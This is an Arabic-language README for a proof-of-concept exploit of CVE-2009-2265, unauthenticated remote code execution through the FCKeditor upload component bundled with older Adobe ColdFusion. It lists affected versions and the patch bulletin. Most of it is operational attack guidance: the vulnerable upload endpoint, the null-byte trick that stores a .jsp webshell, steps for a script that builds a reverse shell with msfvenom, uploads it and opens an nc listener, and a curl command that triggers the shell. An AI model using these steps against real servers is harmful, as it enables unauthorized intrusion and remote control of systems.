CVE-2009-2265 - Adobe ColdFusion RCE

تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر رفع ملفات عشوائية في مكوّن FCKeditor المضمّن مع ColdFusion. تقبل نقطة نهاية رفع الملفات حقن بايت فارغ في معامل اسم الملف، مما يسمح برفع JSP webshell وتنفيذه مباشرةً بواسطة الخادم.

الإصدارات المصابة

الإصدار	الحالة
ColdFusion 8.0	مصاب
ColdFusion 8.0.1	مصاب
ColdFusion 9.0	مصاب*
ColdFusion MX 6.x	مصاب
ColdFusion MX 7.x	مصاب
ColdFusion 9.0.1+	مُرقّع
ColdFusion 10+	غير متأثر

*ColdFusion 9.0 مصاب إذا لم تتم إزالة/تحديث مكوّن FCKeditor.

الترقيع: Adobe Security Bulletin APSB09-09 (يوليو 2009).

الاستخدام

حرّر المتغيرات في أعلى السكربت:

lhost = 'YOUR_IP'
lport = 4444
rhost = 'TARGET_IP'
rport = 8500

شغّل:

python3 poc.py

سيقوم السكربت بما يلي:

1. إنشاء JSP reverse shell عبر msfvenom
2. رفعه إلى الهدف عبر نقطة نهاية FCKeditor
3. بدء مستمع nc على lport
4. تشغيل الـ shell تلقائيًا

إذا لم يصل الـ shell خلال بضع ثوانٍ، شغّله يدويًا:

curl http://<rhost>:<rport>/userfiles/file/<filename>.jsp

يُطبع اسم الملف إلى stdout بعد الرفع.

المتطلبات

msfvenom
netcat (nc)
python3

نقطة النهاية المصابة

/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm

ملاحظات

• منفذ ColdFusion الافتراضي هو 8500 (HTTP) أو 8300 (HTTPS)
• تهبط الملفات المرفوعة في /userfiles/file/
• يؤدي البايت الفارغ (%00) في معامل CurrentFolder إلى اقتطاع اسم الملف بحيث يخزّن الخادم الملف بامتداد .jsp على الرغم من ظهور الرفع كـ .txt
• على أهداف Windows سيكون الـ shell هو cmd.exe، وعلى Linux /bin/sh